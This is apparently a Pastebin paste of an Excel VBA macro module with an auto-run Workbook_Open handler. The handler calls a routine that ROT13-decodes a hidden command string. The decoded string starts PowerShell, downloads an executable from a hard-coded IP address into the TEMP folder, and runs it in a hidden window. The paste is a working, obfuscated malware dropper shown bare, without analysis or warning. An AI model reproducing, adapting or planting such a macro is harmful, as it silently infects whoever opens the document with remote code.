Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Attribute VB_Name = "Ёта нига"
- Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
- Attribute VB_GlobalNameSpace = False
- Attribute VB_Creatable = False
- Attribute VB_PredeclaredId = True
- Attribute VB_Exposed = True
- Attribute VB_TemplateDerived = False
- Attribute VB_Customizable = True
- Sub tyrtyaag()
- oPOJidsf = k3O0Nfe("pzq /X CbjreFuryy.rkr (Arj-Bowrpg Flfgrz.Arg.JroPyvrag).QbjaybnqSvyr('uggc://85.143.166.140/squgrcbcquq/fsojhejsy/jlkoqs.rkr','%GRZC%\WVBvbqsuvbVU.rkr');Fgneg-Cebprff '%GRZC%\WVBvbqsuvbVU.rkr';")
- Shell oPOJidsf, vbHide
- End Sub
- Function k3O0Nfe(ByVal InString As String)
- Dim LetterU As String
- Dim LetterL As String
- Dim Letter As String
- Dim Rot13 As String
- Dim i As Integer
- LetterU = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
- LetterL = "abcdefghijklmnopqrstuvwxyz"
- i = 0
- Do While i <= Len(InString)
- i = i + 1
- Letter = Mid(InString, i, 1)
- If VV6AgfVVap(Letter) = True Then
- If NL4UZNpa4U(Letter) = True Then
- Rot13 = Rot13 & Mid(LetterU & LetterU, InStr(LetterU, Letter) + 13, 1)
- Else
- Rot13 = Rot13 & Mid(LetterL & LetterL, InStr(LetterL, Letter) + 13, 1)
- End If
- Else
- Rot13 = Rot13 + Letter
- End If
- Loop
- k3O0Nfe = Rot13
- End Function
- Function NL4UZNpa4U(ByVal InString As String) As Boolean
- If StrComp(Trim(InString), "") = 0 Then
- NL4UZNpa4U = False
- Exit Function
- End If
- If StrComp(InString, UCase(InString)) = 0 Then
- NL4UZNpa4U = True
- Else
- NL4UZNpa4U = False
- End If
- End Function
- Function VV6AgfVVap(ByVal InString As String) As Boolean
- InString = UCase(InString)
- If InString = "" Then VV6AgfVVap = False: Exit Function
- If Asc(InString) >= 65 And Asc(InString) <= 90 Then
- VV6AgfVVap = True
- Else
- VV6AgfVVap = False
- End If
- End Function
- Sub Workbook_Open()
- tyrtyaag
- End Sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement